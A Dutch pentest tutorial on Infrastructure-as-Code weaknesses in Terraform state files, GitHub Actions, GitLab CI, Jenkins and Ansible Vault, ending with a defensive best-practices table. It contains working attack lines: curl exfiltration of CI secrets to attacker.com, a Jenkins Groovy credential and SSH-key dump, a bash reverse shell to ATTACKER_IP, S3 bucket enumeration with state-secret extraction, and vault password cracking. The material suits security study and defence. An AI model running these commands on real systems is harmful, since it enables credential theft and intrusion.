Infrastructure as Code Misconfiguratie
Code is de nieuwe infrastructuur
Er was een tijd dat je een server inrichtte door ernaar toe te lopen, er een schijf in te schuiven, een besturingssysteem te installeren via een CD-ROM (of, als je oud genoeg bent, een stapel diskettes), en vervolgens drie uur te besteden aan het handmatig configureren van alles. Die tijd is voorbij. Tegenwoordig beschrijf je je infrastructuur in code — Terraform, CloudFormation, Ansible, Pulumi — en een machine zet het voor je neer. Klik, klaar, klus geklaard.
Dit is objectief beter. Infrastructuur is nu versiebeheerd, herhaalbaar, reviewbaar en testbaar. Maar het heeft een keerzijde die pentesters bijzonder interessant vinden: als je infrastructuur code is, dan zijn je misconfiguraties ook code. En code staat in repositories. En repositories zijn doorzoekbaar.
Terraform: de sleutel tot het koninkrijk
State file: de schatkist
Terraform houdt de staat van je infrastructuur bij in een state file. Dit bestand bevat een complete snapshot van alles wat Terraform beheert — inclusief database-wachtwoorden, API-sleutels, SSH-keys en andere secrets. In plaintext. In JSON.
De state file is de gevoeligste bron in je hele infrastructuur, en het wordt regelmatig opgeslagen op plekken waar het niet hoort:
# Zoek naar Terraform state files op S3
aws s3 ls s3://company-terraform/ --recursive | grep tfstate
aws s3 cp s3://company-terraform/prod/terraform.tfstate .
# Zoek in Azure Blob Storage
az storage blob list --container-name terraform --account-name companystore
# Zoek in GCS
gsutil ls gs://company-terraform/**/*.tfstate
# Lokale state files in git repositories
find . -name "*.tfstate" -o -name "*.tfstate.backup"
# Als iemand per ongeluk terraform.tfstate heeft gecommit:
git log --all --full-history -- "*.tfstate"
# Secrets uit state extraheren
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_iam_access_key") | .instances[].attributes'
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes | {address, username, password}'
cat terraform.tfstate | jq '.resources[] | select(.type=="tls_private_key") | .instances[].attributes.private_key_pem'
Veelvoorkomende Terraform misconfiguraties
# ===== FOUT: S3 bucket publiek =====
resource "aws_s3_bucket" "data" {
bucket = "company-sensitive-data"
acl = "public-read" # <-- Iedereen op internet kan lezen
}
# ===== FOUT: Security group open naar internet =====
resource "aws_security_group" "db" {
ingress {
from_port = 3306
to_port = 3306
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # <-- MySQL open naar de hele wereld
}
}
# ===== FOUT: Hardcoded credentials =====
provider "aws" {
access_key = "AKIAIOSFODNN7EXAMPLE"
secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
}
# ===== FOUT: Onversleutelde database =====
resource "aws_db_instance" "production" {
storage_encrypted = false # <-- Data at rest niet versleuteld
}
# ===== FOUT: Geen logging =====
resource "aws_s3_bucket" "logs" {
# Geen server_access_logging geconfigureerd
# Geen versioning
# Geen lifecycle policy
}
Terraform scanning tools
# tfsec: populairste Terraform scanner
tfsec /path/to/terraform/
# Output: lijst van misconfiguraties met severity en remediatie
# checkov: multi-framework scanner (Terraform, CloudFormation, Kubernetes, Docker)
checkov -d /path/to/terraform/
# terrascan: policy-as-code scanner
terrascan scan -d /path/to/terraform/
# tflint: Terraform linter (meer focused op best practices dan security)
tflint --init
tflint
CI/CD Pipeline Security
CI/CD pipelines zijn de nieuwe aanvalsoppervlakken. Ze hebben toegang tot productie-omgevingen, ze voeren code uit, en ze bevatten secrets. Als je een pipeline compromitteert, heb je effectief code execution in productie.
GitHub Actions
# .github/workflows/deploy.yml
# FOUT: Secret in workflow file
env:
AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG
# FOUT: Pull request trigger met write permissions
on:
pull_request_target: # Gevaarlijk: voert workflow uit in context van base repo
types: [opened]
# FOUT: Onveilige command injection
- run: echo "PR title: ${{ github.event.pull_request.title }}"
# Als de PR titel `"; curl attacker.com/steal?token=$GITHUB_TOKEN #` is:
# command injection!
GitLab CI
# .gitlab-ci.yml
# FOUT: Secret zichtbaar in job logs
script:
- echo $SECRET_TOKEN # Zichtbaar in CI output
- curl -H "Token: $SECRET" # Zichtbaar in CI output
# FOUT: Onbeschermde variabelen
# GitLab CI variabelen zonder "Protected" en "Masked" zijn leesbaar
# door iedereen die een MR kan maken
Jenkins
# Jenkins Script Console (Groovy RCE)
# /script — als je hier bij kunt, heb je RCE
println "whoami".execute().text
println new File("/etc/passwd").text
# Credentials lezen via Script Console
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
Jenkins.instance)
creds.each { println it.username + " : " + it.password }
Git Secrets Scanning
De meest voorkomende manier waarop secrets lekken is via git repositories. Een ontwikkelaar commit per ongeluk een API-key, realiseert zich de fout, verwijdert het bestand in de volgende commit, en denkt dat het probleem is opgelost. Maar git vergeet nooit. De key staat in de commit history, en tools als TruffleHog vinden hem in seconden.
# trufflehog: zoekt high-entropy strings en bekende secret-patronen
trufflehog git https://github.com/target/repo --only-verified
# gitleaks: regex-based secret scanner
gitleaks detect -v --source=/path/to/repo
# git-secrets: pre-commit hook die secrets blokkeert
git secrets --scan
# Handmatig zoeken
git log --all -p | grep -i "password\|secret\|api_key\|token\|AWS_ACCESS"
git log --all --diff-filter=D -- "*.env" "*.pem" "*.key"
Ansible Vault kraken
# Ansible Vault bestanden herkennen
head -1 vault.yml
# $ANSIBLE_VAULT;1.1;AES256
# Converteer naar hashcat/john formaat
ansible2john vault.yml > hash.txt
# Kraken
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 16900 hash.txt /usr/share/wordlists/rockyou.txt
# Na het kraken: ontsleutelen
ansible-vault decrypt vault.yml --vault-password-file=password.txt
IaC Security Checklist
| Check | Tool | Risico |
|---|---|---|
| Terraform state publiek? | aws s3 ls / az storage / gsutil | Critisch: alle secrets lezen |
| Hardcoded secrets in HCL? | tfsec, checkov | Hoog: credentials in repo |
| Publieke S3/Blob/GCS? | tfsec, ScoutSuite | Hoog: data lekkage |
| Open security groups? | tfsec, prowler | Hoog: directe internettoegang |
| Git history secrets? | trufflehog, gitleaks | Hoog: credentials in oude commits |
| CI/CD secrets in logs? | Handmatig review | Hoog: tokens in build output |
| Jenkins Script Console? | Nmap, browser | Critisch: RCE |
| Ansible Vault weak password? | ansible2john + hashcat | Medium: encrypted secrets kraken |
Real-world IaC-exploitatie
Case: Terraform state op publieke S3 bucket
Dit is een scenario dat vaker voorkomt dan je zou verwachten. Een DevOps-team configureert Terraform met een S3 backend voor de state. Ze maken de bucket aan via de console, vergeten de public access block te zetten, en hebben nu hun complete infrastructuurblauwdruk inclusief alle wachtwoorden openbaar op internet staan.
# Stap 1: Ontdek S3 buckets via DNS/certificate transparency
# Veelvoorkomende naampatronen:
for prefix in terraform tf-state infra devops deploy; do
for suffix in state prod production staging; do
bucket="${company}-${prefix}-${suffix}"
if aws s3 ls "s3://$bucket" 2>/dev/null; then
echo "GEVONDEN: s3://$bucket"
fi
done
done
# Stap 2: Download de state
aws s3 cp s3://company-terraform-prod/terraform.tfstate . --no-sign-request
# Stap 3: Extraheer secrets
python3 -c "
import json
state = json.load(open('terraform.tfstate'))
for resource in state.get('resources', []):
for instance in resource.get('instances', []):
attrs = instance.get('attributes', {})
for key, val in attrs.items():
if any(s in key.lower() for s in ['password', 'secret', 'key', 'token']):
if val and val not in ['', None, '(sensitive value)']:
print(f'{resource[\"type\"]}.{resource[\"name\"]}: {key} = {val}')
"
# Typische vondsten in state files:
# - RDS master password (aws_db_instance)
# - IAM access keys (aws_iam_access_key)
# - TLS private keys (tls_private_key)
# - SSH key pairs (aws_key_pair)
# - API tokens (diverse providers)
# - Redis auth tokens (aws_elasticache_replication_group)
Case: GitHub Actions secret exfiltratie
# Scenario: je hebt write-access tot een repo met GitHub Actions
# De workflows gebruiken secrets (AWS keys, deploy tokens, etc.)
# Methode 1: Voeg een stap toe aan een bestaande workflow
# In .github/workflows/deploy.yml:
- name: Debug
run: |
echo "${{ secrets.AWS_ACCESS_KEY_ID }}" | base64 | curl -d @- https://attacker.com/collect
# Methode 2: Via pull_request_target trigger
# Maak een PR vanuit een fork met een gewijzigde workflow
# pull_request_target draait in de context van het base repo (met secrets!)
# Methode 3: Via environment variabelen
# Als de workflow secrets als env vars zet:
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
# Dan kun je ze lezen via een willekeurig commando in dezelfde job
Case: Jenkins Script Console RCE
# Jenkins Script Console is beschikbaar op /script
# Het is een Groovy REPL met volledige toegang tot het Jenkins-object model
# Check of het bereikbaar is
curl -s https://jenkins.target.com/script
# Als je ingelogd bent (of als het onbeschermd is):
# Commando uitvoeren
def cmd = "id".execute()
println cmd.text
# Alle credentials lezen
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.domains.*
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null)
creds.each { c ->
println("${c.id}: ${c.username} / ${c.password}")
}
# SSH keys lezen
import com.cloudbees.jenkins.plugins.sshcredentials.impl.*
def keys = CredentialsProvider.lookupCredentials(
BasicSSHUserPrivateKey.class, Jenkins.instance, null, null)
keys.each { k ->
println("${k.id}: ${k.username}")
println(k.privateKey)
}
# Reverse shell
def cmd = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()
Verdediging: IaC Security Best Practices
| Risico | Oplossing |
|---|---|
| State file lekkage | Versleutelde remote backend (S3 + SSE-KMS, private bucket met versioning) |
| Hardcoded secrets | Gebruik data sources, environment variables of Vault |
| Geen code review | PR-based workflow met verplichte approval + tfsec/checkov in CI |
| Oude versies online | terraform destroy voor deprecated infra + state cleanup |
| CI/CD secret lekkage | Mask secrets, gebruik OIDC federation ipv long-lived tokens |
| Git history secrets | Pre-commit hooks (git-secrets, gitleaks), roteer gelekte keys onmiddellijk |